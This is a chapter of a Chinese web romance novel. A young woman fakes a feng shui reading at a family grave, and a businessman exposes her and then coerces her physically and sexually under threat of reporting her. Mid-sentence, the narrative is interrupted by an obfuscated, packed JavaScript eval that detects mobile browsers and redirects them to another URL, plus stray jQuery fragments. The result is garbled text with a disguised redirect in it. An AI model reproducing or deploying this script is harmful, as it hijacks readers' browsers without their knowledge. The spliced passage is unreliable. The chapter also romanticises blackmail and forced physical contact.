27. 第 27 章

作品:《不该骗他钱

    周婷婷拖着行李箱站在沈妙妙房门口,月光把她的影子拉得很长。她望着眼前紧闭的房门,她的指甲不自觉地掐进了掌心。


    “妙妙!”她又喊了一声,声音里带着刻意的委屈,“我现在没地方可去了。”


    屋内传来一阵窸窸窣窣的声响,像是有人从床上滚了下来。几秒钟后,房门“吱呀”一声打开,沈妙妙探出半个身子,脸颊泛着不自然的红晕。


    “婷婷,我们去堂屋说。”


    “嗯。”周婷婷微微点头,当目光触及到沈妙妙红肿的唇瓣上时,心口顿时像被毒蛇咬了一口。


    周婷婷深深吸了口气,要笑不笑的样子,“妙妙,你的嘴……”伸手就要触碰。


    沈妙妙猛地别过脸,拽着她就往堂屋走:“被蚊子咬了!最近院子里的蚊子特别毒……”


    周婷婷被她拉着走,却没说话,看着她的眼神相当复杂。


    堂屋里,昏黄的灯泡在头顶摇晃,投下晃动的阴影。周婷婷把行李箱往墙角一放,突然抓住沈妙妙的手腕:“你和严总,是不是……”


    “没有!”沈妙妙声音陡然拔高,随即又强作镇定地抽回手,“我们什么事情都没有,你别胡乱猜测。”


    周婷婷盯着沈妙妙闪烁的眼神,胸口翻涌着酸涩的妒意。她早就注意到严嵘看沈妙妙的眼神不一样——那种带着侵略性的目光,从来就没在自己身上停留过。


    “对了,你这是离家出走吗?”沈妙妙岔开话题,给两人各倒了杯凉茶。


    周婷婷垂下眼帘,手指无意识地摩挲着茶杯边缘:“我爸要把我嫁给王龙,我不愿意,就吵起来了。”她突然抬头,眼中闪过一丝精光,“我想在你这住一段时间,可以吗?”


    沈妙妙一口茶呛在喉咙里:“你该不会对严嵘还没死心吧?”


    周婷婷的手指突然攥紧了茶杯,指节泛白。她缓缓抬起眼睛,嘴角勾起一抹似笑非笑的弧度:“妙妙,你说什么呢?我现在对他没有任何想法了。”


    “真的吗?”沈妙妙狐疑地眯起眼睛。


    “当然,我有必要骗你吗?”周婷婷松开茶杯,伸手拢了拢头发,露出一个标准的微笑。但沈妙妙注意到,她的指尖在微微发抖。


    堂屋里的气氛突然变得微妙起来。沈妙妙盯着好友看了几秒,这才问道:“周叔叔为什么要逼着你嫁给王龙?”


    周婷婷的表情瞬间凝固,她低头看着茶杯里晃动的倒影,说:“因为钱。我爸那人你是知道的,见钱眼开。王龙跟他承诺,只要我能嫁给他,就给十万彩礼。”


    这笔钱在城里不算什么,可在乡下,算是一笔巨款。


    “就为了十万块?”沈妙妙声音发紧,“王龙长那么丑,周叔叔难道不知道吗?”


    周婷婷突然笑了,那笑容比哭还难看,“我爸爱财,他觉得这笔买卖很划算,其他的都不重要。”


    沈妙妙心疼地看着好友,伸手轻轻握住周婷婷冰凉的手指:“婷婷,我们一起想办法”


    “能有什么办法?”周婷婷猛地抽回手,声音哽咽,“除非能立刻变出十万块来……”


    十块钱沈妙妙能给她弄来,可十万块……


    除非去抢,去偷,或者去骗……


    沈妙妙眼睛突然一亮。想起来了,她明天要去县城给李老板看祖坟风水,或许可以借机多要几万。


    但她并没有将此时的想法告诉周婷婷,怕万一要不到,免得好友失望。


    沈妙妙轻叹一声,伸手揉了揉周婷婷的肩膀:“办法是慢慢想的。时间不早了,我去给你烧水洗澡。”


    她起身走向厨房,烧了满满一大锅热水。灶膛里的火苗噼啪作响,映着她心事重重的脸庞。


    第二天一早,沈妙妙换上爷爷不知从哪弄来的“道袍”——其实是件改良汉服,还戴着副圆框墨镜,装模作样地跟着钱经理去了李家祖坟。


    一路上,她偷偷翻着爷爷给的“秘籍”,嘴里念念有词:“左青龙,右白虎……不对,好像是前朱雀后玄武?”


    到了地方,李老板带着一群家属早已等候多时。见来的是个年轻姑娘,众人脸色都不太好看。


    “钱经理,这就是你说的高人?”李老板皱眉。


    沈妙妙强装镇定,推了推墨镜:“李老板,令尊是不是经常托梦说腰痛?”


    李老板大惊:“你怎么知道?”


    沈妙妙心里暗喜——老年人有几个不腰痛的?她故作高深地绕着坟地转了一圈,突然“哎呀”一声:“此地阴气太重,必须马上迁坟!”


    “那该迁到哪里?”李老板急切地问。


    沈妙妙随手一指远处的小山坡:“那里风水绝佳,背山面水,藏风聚气……”


    话音未落,远处山坡上突然传来一阵引擎轰鸣。只见一辆黑色越野车疾驰而来,扬起漫天尘土。车门打开,严嵘修长的身影迈步而下,身后还跟着几个西装革履的人。


    “严总?”李老板惊讶地迎上去,“您怎么来了?”


    严嵘淡淡扫了一眼呆若木鸡的沈妙妙,嘴角微扬:“听说李老板要迁祖坟,特地来看看。”他转向沈妙妙,眼中闪过一丝戏谑,“这位是...?”


    钱经理连忙介绍:“这位是沈大师的孙女,尽得真传的小仙姑。今日特地请她过来看祖坟风水。”


    “看好了吗?”


    “看好了。”钱经理连连点头,“仙姑说原先的坟地阴气太重,需要迁到那个位置。”他伸手指向远处的小山坡。


    “哦?”严嵘走近几步,居高临下地看着沈妙妙,“不知小仙姑可否解释一下,为何要迁到那个山坡?”


    沈妙妙手心冒汗,墨镜后的眼睛慌乱地眨着。她哪知道什么风水讲究,刚才纯粹是信口胡诌。


    “因为……因为……”她急中生智,突然浑身一抖,装模作样地掐指一算,“天机不可泄露!”


    啧,这个嘴硬的小骗子。


    严嵘从老王手中接过一份文件,语气沉稳地说道:“李老板,正巧我最近在考察这片区域的投资价值,刚拿到最新的地质勘探报告。”


    他翻开文件,指着上面的图表:“您看中的那片山坡,地质结构不稳定,下面是条地下暗河。根据专家预测,三年内发生塌陷的概率高达百分之七八十。”


    李老板脸色瞬间煞白,额头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287856|165617||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    渗出细密的汗珠:“这……这……”


    严嵘意味深长地瞥了沈妙妙一眼,继续道:“不过说来也巧,这位‘小仙姑’指出的位置,恰好避开了最危险的断层带。”他合上文件,语气突然转冷,“只是不知道,这是真本事,还是运气好?”


    沈妙妙藏在墨镜后的眼睛瞪得溜圆。她分明看见严嵘手中的报告上,那个危险区域分明就是自己刚才随手乱指的位置!


    钱经理擦了擦汗,连忙打圆场:“严总说笑了,沈小姐家学渊源,自然是有些真本事的。”


    沈妙妙尴尬地想笑。


    “是吗?”严嵘突然伸手摘掉沈妙妙的墨镜,露出她惊慌失措的双眼,“我有个问题想请教小仙姑,请跟我这边来。”


    严嵘一把扣住沈妙妙的手腕,不容分说地将她拽到一旁的老槐树后。树影婆娑间,他的轮廓在阳光下显得格外锋利。


    “你疯了?”沈妙妙压低声音挣扎,“当着这么多人的面……”


    “比起你招摇撞骗,我这算什么?”严嵘将她抵在粗糙的树干上,一只手撑在她耳侧,“说,为什么要接这单生意?”


    树皮的凸起硌得沈妙妙后背生疼,她别过脸去:“要你管!”


    严嵘突然捏住她的下巴,迫使她直视自己:“现在,给你两个选择。”严嵘俯身,薄唇几乎贴上她的耳垂,“第一,我当众揭穿你,让李老板把你送进派出所。”


    “第二呢?”沈妙妙声音发颤。


    严嵘低笑一声,突然咬住她小巧的耳垂:“第二,跟我回去,慢慢还债。”


    远处传来李老板的咳嗽声:“严总,您看这迁坟的事……”


    严嵘稍稍退开,却仍将沈妙妙困在方寸之间:“李老板,有些问题我需要与小仙姑细谈,迁坟的事改天再说。”他语气不容置疑,手臂已经环上沈妙妙的腰。


    沈妙妙暗暗咬牙。


    不明白这个男人为什么总要跟她过不去。


    “放开我。”她压低声音,悄悄抬腿准备踢他下&腹。


    严嵘似乎察觉到她的意图,猛地用膝盖顶开她的双&腿:“别做傻事,小骗子,否则我就当众拆穿你。”


    沈妙妙顿时就不敢动了。


    众目睽睽之下,她被严嵘拽着手腕,跌跌撞撞地往越野车走。


    “你弄疼我了!”她用力甩手,却挣脱不开那只铁钳般的大手。


    严嵘头也不回:“比起派出所的手铐,这点疼算什么?”


    越野车在阳光下泛着冷冽的光泽。严嵘拉开后车门,毫不客气地把沈妙妙塞了进去。


    “你凭什么——”沈妙妙话没说完,严嵘已经俯身进来,高大的身躯将她困在车座一角。他单手扯松领带,眼中闪烁着危险的光芒。


    “就凭我知道你的底细,沈大仙。”他低声说,“或者说,该叫你‘沈大师’?”那声“大师”叫得极尽嘲讽。


    沈妙妙心虚不已,往车角缩了缩。可她每缩一次,他就逼近一分。直到她整个人几乎被压在真皮坐椅上,严嵘的膝盖强势地顶入她双&腿之间,灼热的呼吸喷洒在她耳畔,“沈大仙,你欠我的债现在该还了。”